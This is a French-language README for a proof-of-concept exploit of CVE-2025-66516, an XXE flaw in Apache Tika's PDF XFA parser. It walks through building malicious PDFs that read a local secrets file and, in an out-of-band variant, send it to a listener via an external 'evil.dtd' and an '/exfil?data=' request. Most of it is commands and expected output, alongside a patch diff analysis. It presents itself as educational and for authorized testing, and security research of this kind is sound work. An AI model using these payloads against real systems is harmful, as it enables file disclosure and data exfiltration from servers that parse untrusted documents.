
Un POC pour la vulnérabilité CVE-2025-66516 d'Apache Tika à des fins éducatives uniquement
Test pédagogique/uniquement autorisé | Licence | Politique de sécurité
Ce dépôt contient un exploit de preuve de concept (POC) pour CVE-2025-66516, une vulnérabilité d'injection XML External Entity (XXE) dans les versions d'Apache Tika antérieures à 3.2.2. La vulnérabilité affecte l'analyseur XFA (XML Forms Architecture) du composant tika-parser-pdf-module, permettant aux attaquants de lire des fichiers locaux et d'exfiltrer des données sensibles via des documents PDF malveillants.
CVE-2025-66516 est une vulnérabilité de sécurité critique dans la fonctionnalité d'analyse PDF d'Apache Tika. Lors du traitement de fichiers PDF contenant des formulaires XFA intégrés, les versions de Tika antérieures à 3.2.2 ne parviennent pas à restreindre correctement le traitement des entités externes dans les analyseurs XML. Cela permet aux attaquants de :
Ce dépôt inclut :
Apache Tika XXE, exploit CVE-2025-66516, vulnérabilité de sécurité Tika, attaque XML External Entity, injection XXE PDF, vulnérabilité Tika 3.2.1, XXE hors bande, OOB XXE, recherche en sécurité, tests d'intrusion, exploit POC, divulgation de vulnérabilité, vulnérabilité de l'analyseur XFA, tika-parser-pdf-module, vulnérabilité de divulgation de fichiers, exfiltration de données, attaque SSRF, codage sécurisé, analyse de vulnérabilité, tests de sécurité, hacking éthique, infosec, recherche en cybersécurité, code d'exploit Apache Tika, payload XXE, sécurité PDF, vulnérabilité d'analyseur de documents
Remarque : Cette POC a été testée et vérifiée sur :
Tout d'abord, créez un répertoire dédié pour la POC afin de garder tous les fichiers organisés.
mkdir apache_tika_poc
cd apache_tika_poc
Avant de procéder à la POC, vérifiez que votre environnement dispose des dépendances requises. Ces commandes afficheront les versions de votre compilateur/environnement d'exécution Java et les détails du système d'exploitation, importants pour reproduire la vulnérabilité.
# Check Java version
java -version
javac -version
# Check OS version
lsb_release -a
Sortie attendue : Vous devriez voir les informations de version Java (par exemple, OpenJDK 17.x.x) et les détails de la version Ubuntu (24.04.3 LTS).
Téléchargez les versions vulnérable (3.2.1) et corrigée (3.2.2) d'Apache Tika. Nous avons besoin des deux versions pour démontrer que la vulnérabilité XXE existe dans 3.2.1 et est corrigée dans 3.2.2. Le JAR tika-app est un exécutable tout-en-un qui inclut tous les analyseurs Tika et leurs dépendances.
# Download vulnerable Tika version
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.1/tika-app-3.2.1.jar
# Download patched Tika version
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.2/tika-app-3.2.2.jar
Sortie attendue : Deux fichiers JAR seront téléchargés - tika-app-3.2.1.jar (~75 Mo) et tika-app-3.2.2.jar (~75 Mo).
Vérifiez les versions exactes en inspectant les fichiers de manifeste des JAR. Cela confirme que nous avons les bonnes versions vulnérable et corrigée avant les tests.
# Check vulnerable version manifest
unzip -p tika-app-3.2.1.jar META-INF/MANIFEST.MF
# Check patched version manifest
unzip -p tika-app-3.2.2.jar META-INF/MANIFEST.MF
Sortie attendue : Fichiers manifeste affichant Implementation-Version: 3.2.1 et 3.2.2 respectivement, ainsi que les horodatages de construction et autres métadonnées.
Si nous examinons les modèles d'objet de projet (les propriétés POM de Maven définissent les dépendances, la configuration de construction et les métadonnées d'un projet), nous constatons qu'il n'y a pas de tika-parsers séparés comme mentionné dans les avis de sécurité - cela pourrait être lié à la version et l'hypothèse est que dans les versions 3.2.1 et 3.2.2, qui font partie de la POC, le module tika-parsers a été remplacé par des modules d'analyseur individuels.
# List all component pom.properties files for both versions
unzip -l tika-app-3.2.1.jar | grep pom.properties | grep tika
unzip -l tika-app-3.2.2.jar | grep pom.properties | grep tika
Sortie attendue : Une liste de tous les modules de composants Tika, incluant tika-core, tika-parser-pdf-module, tika-xmp, etc. Vous remarquerez des modules d'analyseur individuels plutôt qu'un seul module tika-parsers.
Extrayez et affichez les informations de version pour les composants principaux de Tika. Cela nous aide à comprendre la structure interne des modules et à confirmer que la bibliothèque principale et le module d'analyseur PDF sont aux versions attendues.
# Check tika-core, tika-parser-pdf-module, and tika-app versions for 3.2.1
unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-app/pom.properties
# Check tika-core, tika-parser-pdf-module, and tika-app versions for 3.2.2
unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-app/pom.properties
Sortie attendue : Propriétés POM indiquant version=3.2.1 ou version=3.2.2 pour chaque composant, séparées par ---. Les trois composants (tika-core, tika-parser-pdf-module, tika-app) doivent correspondre à la version globale.
Créez un fichier factice de secrets qui sera la cible de notre attaque XXE. Ce fichier simule des données sensibles (comme des clés API ou des identifiants) qu'un attaquant pourrait tenter d'exfiltrer via la vulnérabilité XXE.
# Create target secret file
echo "INTERNAL_SERVER_KEY=EXPOSED" > fake-secrets.txt
Sortie attendue : Un fichier nommé fake-secrets.txt contenant la chaîne INTERNAL_SERVER_KEY=EXPOSED. Ce fichier sera lu par l'exploit XXE.
Pour comprendre le correctif, nous devons décompiler et comparer la classe XMLReaderUtils des deux versions. Cette classe est responsable de la création des analyseurs XML, et la vulnérabilité provient de la manière dont elle configure le traitement des entités XML.
# Extract vulnerable JAR for analysis
mkdir tika-3.2.1-extract && cd tika-3.2.1-extract && unzip -q ../tika-app-3.2.1.jar && cd ..
# Extract patched JAR for analysis
mkdir tika-3.2.2-extract && cd tika-3.2.2-extract && unzip -q ../tika-app-3.2.2.jar && cd ..
# Decompile vulnerable class
cd tika-3.2.1-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.1.txt && cd ..
# Decompile patched class
cd tika-3.2.2-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.2.txt && cd ..
# Compare versions
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt
Sortie attendue : L'extraction crée deux répertoires avec des fichiers de classe décompilés. La commande javap génère un désassemblage en bytecode de la classe XMLReaderUtils. La commande diff montrera les différences dans la configuration de l'analyseur XML entre les versions.
Si nous comparons attentivement, nous constatons que tout support de définition de type de document (DTD) et d'entités externes est désactivé dans 3.2.2 - c'est le cœur du correctif :
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt | grep -A2 -B2 "accessExternalDTD\|supportDTD\|isSupportingExternalEntities"
Sortie attendue : Vous verrez une sortie diff montrant que la version 3.2.2 ajoute des appels pour désactiver le traitement DTD et la résolution d'entités externes. Recherchez les lignes définissant accessExternalDTD sur une chaîne vide et supportDTD sur false.
Cela démontre l'attaque XXE classique où un PDF malveillant lit un fichier local du système de fichiers du serveur. Le script Python génère un PDF avec un formulaire XFA intégré contenant du XML avec un payload XXE qui référence file:///fake-secrets.txt.
# Generate malicious PDF
python3 ./gen_poc.py
# Test with vulnerable Tika 3.2.1
java -jar tika-app-3.2.1.jar -t cve_2025_66516_poc.pdf
# Test with patched Tika 3.2.2
java -jar tika-app-3.2.2.jar -t cve_2025_66516_poc.pdf
Sortie attendue :
gen_poc.py crée cve_2025_66516_poc.pdf contenant le payload XXEINTERNAL_SERVER_KEY=EXPOSED - le contenu du fichier secret !Cela démontre une attaque XXE plus sophistiquée utilisant l'exfiltration de données hors bande (OOB). Au lieu de refléter le contenu du fichier dans la réponse, le PDF malveillant force Tika à envoyer les données à un serveur externe contrôlé par l'attaquant. Cette technique fonctionne même lorsque l'application ne renvoie pas le contenu analysé.
# Generate out-of-band XXE PDF
python3 ./gen_oob_poc.py
# Start HTTP listener (in separate terminal)
python3 ./http_listener.py
# Test OOB XXE with vulnerable Tika 3.2.1
java -jar tika-app-3.2.1.jar -t cve-2025-66516_OOB_XXE.pdf
# Test OOB XXE with patched Tika 3.2.2
java -jar tika-app-3.2.2.jar -t cve-2025-66516_OOB_XXE.pdf
Sortie attendue :
gen_oob_poc.py crée cve-2025-66516_OOB_XXE.pdf avec un payload XXE hors bandehttp_listener.py démarre un serveur sur le port 8888 et attend les requêtes entrantes/evil.dtd (récupération de DTD externe)/exfil?data=INTERNAL_SERVER_KEY=EXPOSED (exfiltration de données)Cela teste la vulnérabilité dans un scénario plus réaliste où Tika est utilisé comme bibliothèque dans une application Java (pas seulement l'outil en ligne de commande). Le code DocumentProcessor.java simule comment une application typique pourrait intégrer Tika pour l'analyse de documents.
# Compile with vulnerable Tika
javac -cp tika-app-3.2.1.jar DocumentProcessor.java
# Run with vulnerable Tika
java -cp tika-app-3.2.1.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf
# Compile with patched Tika
javac -cp tika-app-3.2.2.jar DocumentProcessor.java
# Run with patched Tika
java -cp tika-app-3.2.2.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf
Sortie attendue :
Document processed successfully!
Content extracted: [text containing INTERNAL_SERVER_KEY=EXPOSED]
⚠️ SECURITY ALERT: XXE vulnerability detected! Secret data leaked in output.
Document processed successfully!
Content extracted: [text WITHOUT secret data]
✓ No XXE vulnerability detected.
Supprimez les répertoires temporaires et les fichiers créés pendant la phase d'analyse pour garder l'espace de travail propre.
# Remove extraction directories
rm -rf tika-3.2.2-extract/
rm -rf tika-3.2.1-extract/
rm XMLReaderUtils-*.txt
Sortie attendue : Les répertoires et les fichiers texte décompilés seront supprimés. Aucune sortie n'est affichée sauf en cas d'erreur.
Si vous découvrez des vulnérabilités de sécurité, veuillez les signaler de manière responsable :
apache-tika vulnérabilité-xxe cve-2025-66516 recherche-en-sécurité preuve-de-concept entité-externe-xml cybersécurité recherche-de-vulnérabilités poc infosec tests-d-intrusion hacking-éthique sécurité-pdf analyseur-xfa exfiltration-de-données ssrf xxe-hors-bande divulgation-de-fichiers codage-sécurisé analyse-de-vulnérabilités tests-de-sécurité développement-d-exploits red-team blue-team appsec analyse-de-documents sécurité-java
Ce projet est sous licence MIT - voir le fichier LICENCE pour plus de détails.
Utilisation pédagogique uniquement - Cette POC est destinée à des fins éducatives et à des tests de sécurité autorisés uniquement. Toute utilisation non autorisée contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas l'autorisation de tester est illégale.
Les contributions pour améliorer cette POC ou la documentation sont les bienvenues ! Veuillez vous assurer que toute contribution :
Dernière mise à jour : Décembre 2025